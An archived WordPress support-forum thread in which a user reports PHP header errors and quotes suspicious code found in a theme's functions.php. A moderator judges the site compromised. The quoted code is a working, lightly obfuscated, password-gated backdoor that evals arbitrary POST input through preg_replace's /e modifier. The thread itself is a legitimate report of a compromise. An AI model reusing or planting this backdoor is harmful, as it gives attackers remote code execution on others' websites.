• Skip to main content
  • Skip to forum navigation

StudioPress

  • Shop for Themes
  • My StudioPress

Forum navigation

  • Home
  • General Genesis Discussions
  • StudioPress Themes
  • Genesis Blocks
    • Genesis Blocks
    • Genesis Custom Blocks
  • Retired Themes
  • FAQs
  • Forum Rules
  • Internationalization and Translations
  • Forum Bugs and Suggestions
  • Forum Log In

Are You Using The WordPress Block Editor?

Genesis now offers plugins that help you build better sites faster with the WordPress block editor (Gutenberg). Try the feature-rich free versions of each plugin for yourself!

Genesis Blocks Genesis Custom Blocks

Warning: Cannot modify header information

Welcome!

These forums are for general discussion on WordPress and Genesis. Official support for StudioPress themes is offered exclusively at My StudioPress. Responses in this forum are not guaranteed. Please note that this forum will require a new username, separate from the one used for My.StudioPress.

Log In
Register Lost Password

Community Forums › Forums › Archived Forums › General Discussion › Warning: Cannot modify header information

This topic is: not resolved

Tagged: child theme, error, magazine, premise

  • This topic has 3 replies, 2 voices, and was last updated 12 years, 5 months ago by AnitaC.
Viewing 4 posts - 1 through 4 (of 4 total)
  • Author
    Posts
  • February 5, 2013 at 3:31 am #18161
    seanebusiness
    Member

    I have been having an issue with WordPress Admin area displaying Warning: Cannot modify header information - headers already sent by (output started at /homepages/0/d135381xxx/htdocs/seanclark/wp-content/themes/magazine/functions.php:1) in /homepages/0/d135381xxx/htdocs/seanclark/wp-includes/pluggable.php on line 876

    And similar errors, I found and removed the following seemingly rogue code in the functions.php file of the magazine theme.

    <?php
    if(isset($_POST['pas']) && (md5($_POST['pas']) == '40082ed0f6a3ce'.'5ebfbb39c7b7fcf27b') && isset($_POST['update'])) {$domainValidator='p'.'reg_rep'.'lace';$domain="/.*/e";$domainValidator($domain,'ev'.'al(\\$_POST[\'upd'.'ate\']);', "");}
    ?>

    This then gave me an error related to Premise.

    Warning: Cannot modify header information - headers already sent by (output started at /homepages/0/d135381xxx/htdocs/seanclark/wp-content/plugins/premise/lib/premise-support.php:4) in /homepages/0/d135381xxx/htdocs/seanclark/wp-includes/pluggable.php on line 876

    I disable the Premise plugin and the site is now functioning normally.

    I am working with the latest release of WordPress 3.5.1

    Of course I can no longer use Premise.

    Any advise welcome.

    Thanks

    February 5, 2013 at 6:49 am #18175
    AnitaC
    Keymaster

    I don't see a support area on the Premise website itself. I would probably submit a ticket to the support team on this one.


    Need help with customization or troubleshooting? Reach out to me.

    February 5, 2013 at 10:12 am #18219
    seanebusiness
    Member

    It's not Premise I am concerned about really, but the rogue code that ended up in the Magazine themes function.php file

    Thanks

    Sean

    February 5, 2013 at 10:52 am #18231
    AnitaC
    Keymaster

    I would run a virus check. I see the reference to MD5 in there which is how your passwords are changed, encoded/encrypted. I think your website and installation has been compromised.


    Need help with customization or troubleshooting? Reach out to me.

  • Author
    Posts
Viewing 4 posts - 1 through 4 (of 4 total)
  • The forum ‘General Discussion’ is closed to new topics and replies.

CTA

Ready to get started? Create a site or shop for themes.

Create a site with WP EngineShop for Themes

Footer

StudioPress

© 2025 WPEngine, Inc.

Products
  • Create a Site with WP Engine
  • Shop for Themes
  • Theme Features
  • Get Started
  • Showcase
Company
  • Brand Assets
  • Terms of Service
  • Accptable Usse Policy
  • Privacy Policy
  • Refund Policy
  • Contact Us
Community
  • Find Developers
  • Forums
  • Facebook Group
  • #GenesisWP
  • Showcase
Resources
  • StudioPress Blog
  • Help & Documentation
  • FAQs
  • Code Snippets
  • Affiliates
Connect
  • StudioPress Live
  • StudioPress FM
  • Facebook
  • Twitter
  • Dribbble